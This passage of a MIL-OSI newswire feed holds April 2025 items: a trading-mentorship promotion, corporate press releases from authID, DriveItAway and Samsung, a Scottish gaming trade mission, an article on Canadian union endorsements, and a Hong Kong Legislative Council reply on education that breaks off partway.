    Other unwanted, unlicensed firearms and ammunition may be surrendered to police at any time which will avoid the risk of them becoming involved in criminality and means that members of the community can dispose of firearms in a safe place.

    Anyone now found in possession of a Turkish manufactured TVBF will face prosecution for the illegal possession and face up to 10 years imprisonment.

    If you know of people involved in illegal firearms activity should call the Police on 101 or Crimestoppers on 0800 555 111. Every call to Crimestoppers is anonymous and potentially vital to preventing or solving serious crimes; removing an illegally held firearm may just save someone’s life.

    MIL Security OSI –

    April 3, 2025
  • MIL-OSI: Hola Prime Launches Industry-First One-on-One Mentorship from Market Experts

    Source: GlobeNewswire (MIL-OSI)

    NEW YORK, NY, April 02, 2025 (GLOBE NEWSWIRE) — The trading industry has long suffered from a gap in structured, personalized education. While information is widely available, traders are often left in a sea of fragmented resources, outdated strategies, and generic advice that fails to address the realities of live market conditions. Without direct feedback, many struggle with risk management, execution, and psychological barriers, leading to repeated failures in trading challenges and inconsistent performance. Hola Prime is taking a significant step by offering a level of personalized guidance that is virtually unheard of in the industry – one-on-one mentorship with seasoned trading professionals.

    For the first time, traders will have direct access to some of the most experienced minds in the financial markets. This initiative is not about passive learning; it is about real-time assessment, expert feedback, and actionable improvement strategies tailored to each trader’s needs. Over 85% of traders report improved confidence and decision-making abilities after personalized mentorship. One-on-one mentorship provides traders with an opportunity to analyze their trades with professionals, identify weaknesses in their strategy, and develop a structured, data-driven approach to the markets. Whether it is understanding why a challenge was failed, adjusting risk parameters, or refining execution tactics, these sessions offer an unprecedented level of support.

    Unlike generic trading courses or group webinars, these sessions are fully tailored to the individual trader. There is no other firm in the industry offering this level of direct, personal engagement with professional traders.

    The initiative is backed by a panel of 20 elite trading professionals, each with decades of experience across multiple asset classes. Howard Friend, with over 30 years in financial markets, specializes in FX market trap trading and algorithmic strategies. Jannie Barwise, an expert in CFDs and futures, provides deep insights into asymmetric trading and volatility adaptation. Sam Saleh, a former institutional trader, shares his expertise in S&P 500 futures and order flow execution. Igor Milosevic, a quantitative strategist and PhD in machine learning, helps traders integrate algorithmic techniques into their trading systems. Michael Keller, a Forex day trading expert, guides traders in disciplined execution and structured risk management. Walter Anga, a gold and crypto trading specialist, teaches systematic, non-discretionary approaches to high-volatility markets. Richard Krugel, a recognized authority in Nasdaq and crude oil trading, helps traders refine technical analysis and market timing strategies.

    Beyond mentorship, Hola Prime is also enhancing its educational offerings through live trading sessions and in-depth trading courses, focusing on real-market conditions and execution. Additionally, traders gain access to execution reports that provide full transparency on market conditions, including spreads, liquidity flows, and order execution dynamics. This ecosystem of education, mentorship, and live market insights represents a fundamental shift in how trading knowledge is delivered and applied.

    Somesh Kapuria, CEO of Hola Prime, emphasized the firm’s commitment to bridging the knowledge gap in trading education: “Financial literacy extends beyond theoretical learning – it requires real-world application. Traders need structured guidance from professionals who have gained success in the markets, and we are committed to providing that through direct, hands-on mentorship.”

    Himanshu Chandel, Marketing Director at Hola Prime, highlighted the industry-first nature of this initiative: “No one in the trading industry is offering this level of personalized mentorship. Traders don’t just need information; they need precise, expert-led feedback on their trading decisions.”

    To mark Financial Literacy Month, Hola Prime is offering a 25% discount on $10K to $100K accounts.. Traders interested in personalized coaching can book sessions through Discord or the Hola Prime website. Given the exclusive nature of these sessions, early booking is advised as availability is limited.

    Social Links

    Facebook: https://www.facebook.com/profile.php?id=61565158992654&sk=about_contact_and_basic_info

    Instagram: https://www.instagram.com/holaprime_global/

    YouTube: https://www.youtube.com/channel/UCtVEJa1Ml132Be7tnk-DjeQ

    LinkedIn: https://www.linkedin.com/company/hola-prime/?viewAsMember=true

    X: https://x.com/HolaPrimeGlobal

    Discord: https://discord.gg/TJ7TcHPXBf

    Quora: https://www.quora.com/profile/HolaPrime/

    Reddit: https://www.reddit.com/user/HolaPrime/

    Medium: https://medium.com/@social_46267

    Media Contact

    Company: Hola Prime

    Contact: Media Team

    Email: marketing@holaprime.com

    Website: https://holaprime.com/

    The MIL Network –

    April 3, 2025
  • MIL-OSI: authID Announces Closing of $8,150,000 Registered Direct Offering

    Source: GlobeNewswire (MIL-OSI)

    DENVER, April 02, 2025 (GLOBE NEWSWIRE) — authID Inc. (NASDAQ: AUID) (“authID” or the “Company”), a leading provider of biometric identity verification and authentication solutions, today announced it has closed its previously announced transaction with investors to sell 1,811,120 shares of its common stock (the “Shares”) and/or Pre-Funded Warrants (the “Pre-Funded Warrants”) pursuant to a registered direct offering (the “Registered Direct Offering”). The purchase price for one Share or Pre-Funded Warrant was $4.50 (each Pre-Funded Warrant will be exercisable into one share of common stock). The aggregate gross proceeds from the Offering were $8,150,000 before deducting placement agent fees and other offering expenses.

    Dominari Securities LLC and Madison Global Partners, LLC, acted as Co-Placement Agents for the offering.

    In connection with the closing of this Registered Direct Offering, an Advisory Board was created, comprising of Mr. Eric Swider and Mr. Donald Nitti; each having extensive experience in different industry and government sectors where authID’s biometric identity solutions can address critical needs.

    “In the last eighteen months, authID has educated the market to the point where customers no longer ask what biometric authentication is, but rather how it can transform their business,” said Rhon Daguro, CEO of authID. “Concerns over privacy and the advanced aspects of biometrics were an early obstacle, but now our clients are applying our technology to new challenges, expanding our footprint. This next exciting phase of our journey has been made possible by our foundational partners, David Lerner and Madison Global Partners, who have guided us over the years and were instrumental in this offering. As we look to our future, we also welcome our new partners, Kyle Wool and Dominari Holdings, as well as our new expert advisors, Eric Swider and Donald Nitti.”

    authID intends to use the net proceeds for working capital and general corporate purposes.

    The Shares offered in the Registered Direct Offering are being offered by the Company pursuant to a shelf registration statement (Registration No. 333-283580) filed with the Securities and Exchange Commission (the “SEC”) and declared effective by the SEC on December 13, 2024. The offering is being made only by means of a prospectus supplement and accompanying prospectus. A prospectus supplement and accompanying prospectus relating to the Registered Direct Offering has been filed with the SEC and may be obtained for free on the SEC’s website located at http://www.sec.gov. Electronic copies of the final prospectus supplement and accompanying prospectus relating to the Registered Direct offering may be obtained by contacting Madison Global Partners, LLC, Attention: David S. Kaplan, 350 Motor Parkway, Suite 205, Hauppauge, NY 11788, by email at info@madisonglobalpartners.com, or by telephone at (646) 690-0330.

    This press release shall not constitute an offer to sell or the solicitation of an offer to buy, nor shall there be any sale of these securities in any state or jurisdiction in which such offer, solicitation, or sale would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction.

    About authID Inc.

    authID (Nasdaq: AUID) ensures enterprises “Know Who’s Behind the Device™” for every customer or employee login and transaction through its easy-to-integrate, patented biometric identity platform. authID powers biometric identity proofing in 700ms, biometric authentication in 25ms, and account recovery with a fast, accurate, user-friendly experience. With our ground-breaking PrivacyKey Solution, authID provides a 1-to-1-billion false match rate, while storing no biometric data. authID stops fraud at onboarding, blocks deepfakes, prevents account takeover, and eliminates password risks and costs, through the fastest, most frictionless, and most accurate user identity experience demanded by today’s digital ecosystem. Contact us to discover how authID can help your organization secure your workforce or consumer applications against identity fraud, cyberattacks, and account takeover.

    For more information, please visit authid.ai.

    Media Contacts

    NextTech Communications
    Walter Fowler
    1-631-334-3864
    wfowler@nexttechcomms.com

    Investor Relations Contacts
    Investor-Relations@authid.ai

    Gateway Group, Inc.
    Alex Thompson
    1-949-574-3860
    AUID@gateway-grp.com

    Cautionary Statement Regarding Forward-Looking Statements:

    This Press Release includes “forward-looking statements.” All statements other than statements of historical facts included herein are forward-looking statements. Actual results may vary materially from the results anticipated by these forward-looking statements as a result of a variety of risk factors. See the Company’s Annual Report on Form 10-K for the Fiscal Year ended December 31, 2024, filed at www.sec.gov and other documents filed with the SEC for risk factors which investors should consider. These forward-looking statements speak only as to the date of this release and cannot be relied upon as a guide to future performance. authID expressly disclaims any obligation or undertaking to disseminate any updates or revisions to any forward-looking statements contained in this release to reflect any changes in its expectations with regard thereto or any change in events, conditions, or circumstances on which any statement is based.

    The MIL Network –

    April 3, 2025
  • MIL-OSI: DriveItAway Holdings, Inc. Partners with Fleet-Connection to Offer its Flexible Lease Alternative to Commercial Fleet Customers with its New “DriveItAway Business Preferred” Program

    Source: GlobeNewswire (MIL-OSI)

    Philadelphia, PA, April 02, 2025 (GLOBE NEWSWIRE) —

    – DriveItAway Expands its Market to Enable All the Ability to Drive, and Then Buy Quality Vehicles, with No Long-Term Financial Commitment or Credit Threshold with Its Flexible Lease Subscription Program Now Offered to Small Commercial Businesses by launching its new “DriveItAway Business Preferred Program”

    – To Promote DriveItAway Business Preferred, DriveItAway has Partnered with Fleet-Connection and its Founder Sherb Brown, Former President of Bobit Business Media and Group Publisher of Major Fleet Publications – Listen to DriveItAway’s CEO John F. Possumato and Fleet-Connection’s Sherb Brown discuss this new endeavor as part of Elena Ciccotelli’s “The EVs for Everyone Podcast” (Episode 157)

    – DriveItAway’s Business Preferred Program Will Cater to the Approximately 12-15 Million Small Locally-Owned Businesses that Have an Immediate Need for an SUV, Truck, or Van, But Do Not Want to Make a Long Term Financial Commitment for a Vehicle or a Fleet of Vehicles, or Lack the Cash or Credit for a Traditional Vehicle Finance or Lease

    PHILADELPHIA, PA, USA, April 2 2025 – DriveItAway Holdings, Inc. ( OTC Marketplace: DWAY) (“DriveItAway” and “Company”), an automotive industry leader in new digital mobility platforms with its unique “flexible-lease/subscription to purchase” technology, continues to gain traction and visibility in its mission to enable all to drive, and then buy, affordable quality personal transportation, announces today the expansion of its service to small commercial fleet businesses, who find it difficult to buy or lease vehicles through traditional channels, with its newly created “DriveItAway Business Preferred” Program.

    To jump-start this endeavor, DriveItAway is partnering with Sherb Brown, a long-time fleet industry veteran, and his company, Fleet-Connection, which maintains one of the most comprehensive database and marketing engine for the millions of small fleet owners, who are “under the radar” in comparison to large, traditional fleet operators. Brown is the former President of Bobit Business Media and was the Group Publisher of major fleet publications, including Heavy Duty Trucking and Work Truck, along with general commercial-focused Websites and live events.

    “A long time ago, I started in the automotive business on the fleet and small commercial side, first as a franchise dealer, and I then helped design and present the dealer-based small commercial fleet education and training programs for Ford, General Motors and Jaguar,” says John F. Possumato, Founder & CEO of DriveItAway, “then, as now, one of the stumbling blocks for a new or small local business in acquiring needed vehicles is the credit requirements from both manufacturer captive finance companies and banks, who usually require three years in business and a strong balance sheet, something that a lot of small businesses do not have, especially new ones. In addition, many small businesses have seasonal or contract work, which may require a work truck or van for just six months or a year, where a conventional purchase or lease just won’t work. Our DriveItAway ‘Business Preferred’ open-ended, no obligation flexible lease now offers the new perfect alternative.”

    “Right now smaller fleets have access to the right inventory of vehicles, trucks, or vans to fill all needs,” says Sherb Brown, CEO of Fleet-Connection, “but many times the optimal means to acquire these vehicles does not exist. In many cases these small businesses are shut out of traditional commercial financing or leasing due to credit or years in business requirements, or have seasonal or contract work, where owning or long-term leasing vehicles wouldn’t be the right decision.” continues Brown, “this is the niche that DriveItAway’s Business Preferred flexible lease alternative fits, and we are excited to work with John and his team to add some visibility to the program.”

    This latest expansion to open up a new market of small commercial (non-gig) fleet follows directly with DriveItAway’s 2025 goals as stated in the Company’s ‘Year End Message to Shareholders.’

    “In January, I said that in addition to expanding our business to include small commercial fleet sales, our two other Company goals for 2025 are to increase our own vehicle credit line, and to continue to make ‘strong and deep industry alliances.’ In February, we were fortunate enough to announce that we increased our line and that Menachem Light, a true industry icon, has agreed to Chair our newly created Board of Advisors,” continues Possumato, “now in pursuing our goal to expand our services to small commercial fleet customers, it is particularly rewarding to be working with Sherb Brown, as he and I have known each other now for over three decades. Automotive fleet has always fundamentally been a people business, and with Sherb, we are working with the best in fleet.”

    All are encouraged to visit with John F. Possumato at the automotive industry events where he is a featured speaker in April – the Auto Intel Summit in Cary, NC, on April 8th; the National Vehicle Leasing Association Annual Conference in Clearwater, FL, on April 10th; and the International Car Rental Show in Las Vegas, NV, on April 14th.

    About DriveItAway Holdings, Inc.
    DriveItAway Holdings, Inc. is the first national dealer-focused mobility platform that enables car dealers to sell more vehicles in a seamless way through eCommerce, with its exclusive flexible lease app-based subscription. DriveItAway provides a comprehensive, turn-key, solutions-driven program with proprietary mobile technology and driver app, insurance coverages, and training to get dealerships up and running quickly and profitably in emerging online sales opportunities, to gain sales and market share.

    Cautionary Statement Regarding Forward-Looking Statements

    This press release may contain forward-looking statements within the meaning of the federal securities laws. Forward-looking statements relate to expectations, beliefs, projections, future plans and strategies, anticipated events or trends and similar expressions concerning matters that are not historical facts. In some cases, you can identify forward-looking statements by the use of forward-looking terminology such as “may,” “will,” “should,” “expects,” “intends,” “plans,” “anticipates,” “believes,” “estimates,” “predicts,” or “potential” or the negative of these words and phrases or similar words or phrases which are predictions of or indicate future events or trends and which do not relate solely to historical matters. Forward-looking statements involve known and unknown risks, uncertainties, assumptions and contingencies, many of which are beyond our control, and may cause actual results to differ significantly from those expressed in any forward-looking statement. All forward-looking statements reflect our good faith beliefs, assumptions, and expectations, but they are not guarantees of future performance. We caution investors not to unduly rely on any forward-looking statements. The forward-looking statements speak only as of the date of this press release.

    The MIL Network –

    April 3, 2025
  • MIL-OSI Economics: Galaxy Tab S10 FE Series Brings Intelligent Experiences to the Forefront with Premium, Versatile Design

    Source: Samsung

    Samsung Electronics America today announced the Galaxy Tab S10 FE and Galaxy Tab S10 FE+, offering new entry points to the Galaxy ecosystem with a premium tablet design. Equipped with the largest screen available on the Galaxy Tab S FE series and slimmer bezels that expand its display, the Galaxy Tab S10 FE+ provides a fun, immersive viewing experience for everything from entertainment to studying to day-to-day tasks. Samsung’s Intelligent Features empower users to get more done with ease, while a slimmer design helps users boost their creativity and productivity on the go.
    “The new Galaxy Tab S10 FE series brings advanced mobile AI experiences and Samsung’s connected ecosystem to even more tablet users, while still offering leading performance and design,” said Changtae Kim, EVP & Head of New Computing R&D Team, Mobile eXperience Business at Samsung Electronics. “We’re confident that the slim bezels and expansive displays, in addition to a whole host of functional improvements, will inspire people to do more, create more, and discover more.”
    Stunning Clarity on a Bigger, Vibrant Display
    Combining the Galaxy Tab S series’ heritage design with slim bezels, the Galaxy Tab S10 FE+ 13.1-inch display1 offers immersive entertainment on a screen that’s almost 12% larger than the previous FE+. Smooth visuals enabled by a refresh rate up to 90Hz and new levels of visibility up to 800 nits HBM on the Galaxy Tab S10 FE series ensure an optimal viewing experience when watching videos and gaming. Vision Booster’s automatic adjustments enhance brightness and visibility even in ever-changing outdoor environments while blue-light emissions are safely reduced to minimize eye strain, meeting every unique viewing need.

    Robust Performance in a Portable Design
    The Galaxy Tab S10 FE series boosts productivity when working or studying, and delivers fast, smooth gameplay without interruption. Performance upgrades enable the Galaxy Tab S10 FE series to help users switch effortlessly between multiple apps when they are being creative, allowing for improved multitasking. And when capturing everyday moments in the classroom or in workspaces, a newly upgraded 13MP high resolution rear camera produces clear and vivid photos.
    These versatile experiences, which enable powerful work and seamless play, accompany users everywhere they go. Now more than 4% lighter than its predecessor, Galaxy Tab S10 FE is even easier to carry around, thanks to its slim design. Plus, the Galaxy Tab S10 FE series also offers hassle-free storage, making it an ideal companion at home, on campus, and in the workplace. Engineered for resilience and with durability in mind, the Galaxy Tab S10 FE series also comes with the same IP68 rating2 as the newest Galaxy Tab S10 series — offering protection from water and dust.
    Advanced Features Unleash Potential
    Building on Samsung’s legacy of delivering premium experiences across the Galaxy ecosystem, the Galaxy Tab S10 FE+ and Galaxy Tab S10 FE are the first models in the FE series to come equipped with intelligent features that fuel user productivity right out of the box.

    Fan-favorite Circle to Search3 with Google allows you to search what you see on your tablet without switching apps. Quickly get the info you need, translate text on screen, or get homework help with step-by-step explanations — all on one large screen.
    Samsung Notes features like Math Solver4 for quick calculations of handwriting and text, and Handwriting Assist5 to seamlessly tidy up notes, make notetaking easier than ever so users can stay focused.
    AI assistants are instantly launched with a single tap of the AI Hot Key6 on the Book Cover Keyboard and Book Cover Keyboard Slim. Plus, AI assistants can be customized based on users’ preferences for a more personalized experience.
    An upgraded Object Eraser7 lets users effortlessly remove unwanted objects from photos, with automatic suggestions for quick and easy edits.
    Newly introduced Best Face8 ensures perfect group photos by selecting and combining the best expressions and features.
    Auto Trim9 brings cherished moments to life by sifting through multiple videos to seamlessly compile highlight reels.
    The Galaxy Tab S10 FE series also serves as the perfect canvas for creativity with apps and tools including LumaFusion,10 Goodnotes,11 Clip Studio Paint,12 and more, alongside other apps like Noteshelf 3,13 Sketchbook, and Picsart.14

    For an even more intuitive AI experience, the FE series seamlessly integrates with other Samsung Galaxy devices. Similar to the Galaxy Tab S10, users can access a comprehensive overview of their home status with the Home Insight widget dashboard and 3D Map View feature. Summarized status updates of SmartThings-enabled devices give users peace of mind when out and about.

    Security Your Way
    As with any Galaxy device, the Galaxy Tab S10 FE series is fortified by strong security — Samsung Knox — Samsung Galaxy’s defense-grade, multi-layer security platform built to safeguard critical information and protect against vulnerabilities with end-to-end hardware, real-time threat detection, and collaborative protection.
    Availability
    Galaxy Tab S10 FE and Galaxy Tab S10 FE+ will be available in the U.S. beginning April 10 on Samsung.com and at national retailers and carriers. To reserve now and be among the first to discover the new Galaxy Tab S10 FE series, visit Samsung.com and get a $50 credit toward a qualifying purchase.15 Both tablets come in three colors: Gray, Silver, and Blue.
    Galaxy Tab S10 FE is available starting at $499.99, with 128GB and 256GB storage options. Or pick up Galaxy Tab S10 FE 5G for a connected experience, beginning at $599.99 — available in a Gray colorway. Galaxy Tab S10 FE+ starts at $649.99, with 128GB and 256GB storage options available.
    U.S. customers who purchase Galaxy Tab S10 FE or Galaxy Tab S20 FE+ by May 11, 2025 can receive up to 50% off a Book Cover Keyboard Slim.
    For more information about the Galaxy Tab S10 FE series, please visit: Samsung.com.
    Specifications

    Galaxy Tab S10 FE (10.9-inch)Galaxy Tab S10 FE+ (13.1-inch)
    Display10.9-inch, LCD
    (Up to 90Hz13.1-inch, LCD
    (Up to 90Hz)
    * Measured diagonally as a full rectangle without accounting for the rounded corners. Actual viewable area is less due to the rounded corners.
    Dimensions & Weight*10 x 6.5 x .23 in.
    1.1 lbs. (Wi-Fi),11.8 x 7.6 x .23 in.
    1.4 lbs. (Wi-Fi),
    *Accuracy of numbers may vary depending on measurements used.
    Camera13 MP Rear Camera
    12 MP Ultra-Wide Front Camera
    AP*Exynos 1580
    Memory & Storage*12 GB + 256 GB
    8 GB + 128 GB
    MicroSD up to 2TB
    * Available storage capacity is subject to preloaded software.
    Battery / Charging8,000 mAh / 45W10,090 mAh / 45W
    *Typical value of battery capacity tested under third-party laboratory condition. Typical value is the estimated average value considering the deviation in battery capacity among the battery samples tested under IEC 61960 standard. Actual battery life may vary depending on network environment, usage patterns and other factors.
    **Wired charging compatible with QC2.0 and AFC.
    ***45W Power Adapter sold separately. Use only Samsung-approved chargers and cables.
    OS*Android 15
    *Edition version and availability timing may vary depending on model and/or market.
    Network and Connectivity*5G (Sub-6)*, Wi-Fi 6, Wi-Fi Direct Bluetooth® v 5.3
    *5G services are only supported in 5G network enabled locations. Requires optimal 5G connection. Actual speed may vary depending on carrier and user environment.
    ** Wi-Fi 6 network availability may vary by market, network provider and user environment. Requires optimal connection. Will require a Wi-Fi 6 router.
    SoundDual Speaker
    S PenS Pen (BLE not supported) in-box
    SecurityFingerprint (Power Key)
    SIMDual SIM (1 Physical + 1 eSIM)
    Water ResistanceIP68
    * IP68 Rating: Conducted under lab test conditions. Water resistant in up to 1.5 meters of fresh water for up to 30 minutes and protected from dust, dirt, and sand. Rinse residue/dry after wet. Not advised for beach or pool use. Water and dust resistance of your device is not permanent and may diminish over time.
    AccessoriesBook Cover Keyboard
    Book Cover Keyboard Slim
    Smart Book Cover
    Anti-reflecting Screen Protector
    *All functionality, features, specifications and other product information provided in this document including, but not limited to, the benefits, design, pricing, components, performance, availability and capabilities of the product are subject to change without notice.

    MIL OSI Economics –

    April 3, 2025
  • MIL-OSI United Kingdom: Championing gaming start-ups

    Source: Scottish Government

    Eight Techscaler companies heading to Japan.

    Eight leading Scottish games companies are to showcase their products and expertise to a global audience.

    They will leave on 5th April for a two week visit to Japan, one of the world’s biggest and most influential gaming markets, which will see them meet potential new investors, customers and commercial contacts.

    In Tokyo they will be based at Tunnel Tokyo, a startup incubator operated by the SEGA Sammy group and venture capital firm Pegasus Ventures.

    They will then showcase their products at a Scottish Government event focused on gaming at the 2025 World Expo in Osaka, which expects to host over 28 million attendees from all over the world.

    The visit has been developed as part of the Scottish Government’s Techscaler programme. Participants range from Blazing Griffin a Glasgow-based multi-media entertainment company spanning games, film and post-production, to Dundee based Konglomerate Games and Edinburgh company GLITCHERS, whose products include games technology aimed at the healthcare sector,

    Speaking during a visit to Blazing Griffin, Business Minister Richard Lochhead said:

    “Japan is synonymous with gaming technology and, with a market valued at around $50 billion, it offers phenomenal economic opportunities for our own, hugely talented Scottish sector.

    “Techscaler is about helping entrepreneurs unleash their ability to innovate, spearheading Scotland’s presence in expanding new markets.

    “Techscaler Japan will present some of our most exciting gaming start-ups with considerable opportunities to unlock further investment, develop new commercial partnerships and drive and showcase their businesses on a global stage.”

    Blazing Griffin’s Co-Head of Games, Justin Alae-Carew said:

    “We’re incredibly excited to take part in Techscaler’s market visit to Japan. Japan is not only an incredible consumer and producer of games, but also home to a fantastic array of multi-media intellectual property (IP). We see huge opportunity in exploring cross-border partnership with a specific focus on IP – either Japanese IP coming to the West or Western IP gaining foothold in Japan.

    “The multi-media lens by which Japan views IP is also something for us to learn from and given our capabilities across film and games at Blazing Griffin, we’re uniquely positioned to take advantage of the opportunities raised by that approach.”

    Head of Bridge Programmes at CodeBase, delivery partner of Techscaler, Ruth Oliver said:

    “The companies selected to join the first Japan cohort represent some of Scotland’s most exciting and promising companies from the gaming sector, and while some are further down the commercial path than others, what they all have in common is a global mindset. 

    “With the opportunity to make valuable industry connections and gain insights and learnings, the programme offers the companies a golden chance to win customers and take their business to the next level in one of the world’s most dynamic and important markets.”

    Background

    The companies participating in the visit are:

    • BearHammer Games (Glasgow), a virtual reality projects and game developer
    • Konglomerate Games (Dundee) develops video game technology for sectors like healthcare and education.
    • Buildstash (Glasgow), which helps game developers manage iOS and Android apps
    • Yaldi Games (Edinburgh) which develops education-focused software.
    • Speech Graphics (Edinburgh) which develops facial animation technology
    • Blazing Griffin (Glasgow) a film and games producer and post-production developer.
    • Wardog Studios (Edinburgh) which develops virtual reality weapons and vehicles 
    • GLITCHERS (Edinburgh) a game developer whose titles include a game used to support dementia research

    Expo 2025 Osaka, Kansai takes place from 13 April to 13 October. It is an international event at which countries, organisations and companies showcase innovations, cultural exchanges and solutions to global challenges. It is expected to attract about 28 million visitors and more than 150 participating countries. 

    Scotland’s spotlight event on gaming and consumer industries will be held on 17 April at the UK Pavilion. Scottish Enterprise is supporting the three events for Scotland at Expo 2025 Osaka, Kansai is available on SDI’s website.

    The Scottish Government is investing £42 million in Techscaler. Nearly 1,000 Scottish companies are now involved in the programme. 

    MIL OSI United Kingdom –

    April 3, 2025
  • MIL-OSI Global: Do union endorsements make a difference in election campaigns?

    Source: The Conversation – Canada – By Larry Savage, Professor, Labour Studies, Brock University

    Nearly one in three workers in Canada is covered by a union contract, making union members a potentially powerful voting bloc at election time. It should therefore come as little surprise that federal parties have been making overt efforts to secure endorsements from labour unions and the votes of their members as election day nears.

    The Canadian Union of Public Employees, United Steelworkers and Amalgamated Transit Union have already declared support for the New Democratic Party (NDP), while the Boilermakers union has endorsed the Conservatives. All parties are expected to pick up more union endorsements before election day.

    But do union endorsements actually make a difference at the ballot box?

    Our forthcoming survey-based research suggests that while most union members in Canada indicate their voting preferences are not swayed by union endorsements, satisfaction with one’s union significantly enhances the likelihood they’ll support union-endorsed candidates in federal, provincial and local elections.

    Shifts in party-union relations

    The NDP was viewed as the political arm of the labour movement and secured the lion’s share of union resources and endorsements for much of its history. However, as ties between the NDP and unions have loosened, so too have unions’ political allegiances.




    Read more:
    The NDP turns 60: It’s never truly been the political arm of organized labour


    In recent years, unions in Canada have made political endorsements that don’t align with traditional patterns. For example, after a decade of backing the provincial Liberals, many construction unions endorsed Conservative Premier Doug Ford’s re-election in the 2022 Ontario provincial election.

    Although most other unions endorsed the opposition NDP, Ford’s union support garnered significant attention and was presented as an impressive game-changer by the media and political pundits.

    In the 2025 Ontario election campaign, Ford used his commanding lead in the polls and a transactional brand of politics to lock down endorsements from an even broader cross-section of the union movement, winning additional support from firefighters, a Toronto-based hotel worker union, police unions and three large Unifor locals.

    The union endorsements were symbolically significant for the Conservative campaign because they fractured labour movement opposition to Ford and provided pro-worker cover for a government with a decidedly mixed record on labour rights.

    The Unifor endorsements, in particular, raised eyebrows because Canada’s largest private sector union had long championed anti-Conservative strategic voting, backing a mix of Liberal, NDP and Bloc candidates in election campaigns over the past decade.

    These shifts have encouraged Conservative Leader Pierre Poilievre to appeal more to blue-collar union members, especially in male-dominated industries, to broaden his party’s working-class support.




    Read more:
    Pierre Poilievre is popular among union members. What’s it really all about?


    The Conservatives have also no doubt been inspired by the success of United States President Donald Trump this regard.

    In the 2024 U.S. presidential election, the vast majority of unions endorsed Vice-President Kamala Harris over Trump. But exit polls indicated Trump still managed to win an impressive 45 per cent of the votes from union households, highlighting a potential disconnect between union leaders and their members on the question of endorsements.

    The influence of union endorsements

    Not all union endorsements carry the same weight, but they can play a strategically critical role in election campaigns depending on the dynamic.

    Our survey-based research, to be published in an upcoming volume of Labour/Le Travail, reveals that while a small majority of union members in Canada feel union endorsements won’t impact their vote, such endorsements do modestly influence a good number of union members.

    Outside of Québec, 37 per cent of surveyed union members report being “somewhat” or “much more likely” to vote for union-endorsed candidates. In Québec, the figure is slightly lower at 27 per cent. Conversely, only a small portion of members (11 per cent in the rest of Canada and 13 per cent in Québec) indicate a union endorsement will make them less likely to vote for their union’s preferred candidate.

    Importantly, workers who indicated satisfaction with their union in the workplace are significantly more likely support union-endorsed candidates in election campaigns.

    Satisfaction with one’s union matters much more to whether union members respond to an endorsement favourably than demographic factors such as age, gender, income or education level.

    The survey results also suggest that union type does not make a significant difference in assessing the influence of endorsements on union members’ voting intentions. Members of public-sector unions are no more likely to respond favourably to union endorsements than members of private-sector unions, nor are members of construction unions or members of NDP-affiliated unions.

    Lessons for parties and unions

    Even with modest impacts on voting preferences, union endorsements may prove decisive in closely contested elections, especially in communities with large numbers of union voters.

    For unions to maximize their political influence, however, they must first earn their members’ trust through effective workplace representation. Building this trust enhances the impact of endorsements by increasing member support for union-endorsed candidates.

    In short, having strongly supported unions in the workplace helps to build strong unions in the political arena with improved capacity to deliver union members’ votes.

    The authors do not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and have disclosed no relevant affiliations beyond their academic appointment.

    – ref. Do union endorsements make a difference in election campaigns? – https://theconversation.com/do-union-endorsements-make-a-difference-in-election-campaigns-253296

    MIL OSI – Global Reports –

    April 3, 2025
  • MIL-OSI Asia-Pac: LCQ4: Education and talent development planning

    Source: Hong Kong Government special administrative region

    Following is a question by Professor the Hon Lau Chi-pang and a reply by the Under Secretary for Education, Dr Sze Chun-fai, in the Legislative Council today (April 2):

    Question:

    It has been reported that the director of the film Ne Zha 2 chose to abandon a career in pharmacy in order to pursue his passion for animation production, ultimately achieving remarkable success. There are views that his story offers profound insights for education and talent development planning in Hong Kong. In this connection, will the Government inform this Council:

    (1) as it is learnt that many university students currently choose to pursue careers in fields unrelated to their major, whether the Government will consider providing students with more macro and comprehensive information at the stage of subject selection in secondary schools and in life planning education, so as to deepen students’ understanding of relevant disciplines and professions and help them explore their interests and give play to their strengths; if so, of the specific plans; if not, the reasons for that;

    (2) as there are views that a large creative team and talent pool are important factors contributing to the success of the aforesaid film, whether the Government will further strengthen the training and guidance on creative thinking for students in the curricula of primary and secondary schools; if so, of the specific plans; if not, the reasons for that; and

    (3) as there are views pointing out that Hong Kong’s current education system places too much emphasis on assessment and examination preparation, which is not conducive to the development of students’ creative thinking, whether the Government has plans to make improvements; if so, of the specific plans; if not, the reasons for that?

    Reply:

    President,

    Quality education is the key to nurturing talent, and is essential for the continuous development of the society. In the face of a complicated and ever-changing global environment, fostering creativity in students is crucial for their future development. As such, through kindergarten, primary and secondary education curricula, the Education Bureau (EDB) has continuously integrated elements that nurture creative thinking, facilitating students’ holistic development and enabling those with diverse interests, abilities and backgrounds to fully unleash their potential.

    Regarding the question raised by Professor the Hon Lau Chi-pang, I will respond in four aspects including school curricula, student activities and competitions, latest developments in the modes of assessment, and life planning education (LPE):

    (1) to (3) Nurturing creativity throughout the primary and secondary curricula

    The school curriculum developed by the EDB in collaboration with the Curriculum Development Council consists of components including knowledge, generic skills, values and attitudes. Creativity is one of the generic skills which emphasises students’ demonstration of creative thinking in new ideas or products grounded on a solid knowledge foundation. Students are required to integrate knowledge, discern details from observation, synthesise and apply knowledge, be eager to explore, display perseverance and commitment in the face of difficulties, and solve problems with creative thinking.

    To dovetail with the national strategy of invigorating the country through science and education, the EDB is proactively promoting STEAM (Science, Technology, Engineering, Arts and Mathematics) and innovation and technology (I&T) education in primary and secondary schools. By integrating and applying knowledge and skills in science, mathematics and technology, students develop their capabilities of innovation and problem-solving through the process of knowledge creation and I&T inventions.

    At the same time, the EDB has reformed Science Education by introducing Primary Science and updating the junior secondary Science curriculum. A programme on artificial intelligence (AI)-assisted teaching has also been launched in junior secondary Science to foster pedagogical innovation. Moreover, we actively promote I&T education at the upper primary and junior secondary levels, such as teaching programming and AI learning to strengthen the cultivation of students’ innovative and problem-solving skills so that they can adapt to the ever-changing world.

    As for other Key Learning Areas, Arts Education promotes arts technology and interdisciplinary learning, and Personal, Social and Humanities Education promotes “entrepreneurial spirit”, both of which cover the qualities of creativity and innovativeness. At present, there are 55 Applied Learning courses offered at the senior secondary level, of which courses under the Areas of Studies “Creative Studies” and “Media and Communication” place particular emphasis on nurturing students’ creativity. Courses such as Computer Game and Animation Design, and Film Production are specifically designed for students interested in creativity and the media. In the 2024/25 school year, a total of 3 932 students enrolled in the related courses under “Creative Studies” and “Media and Communication”, reflecting that the courses are popular among students.

    Unleashing students’ innovative potential through diversified activities

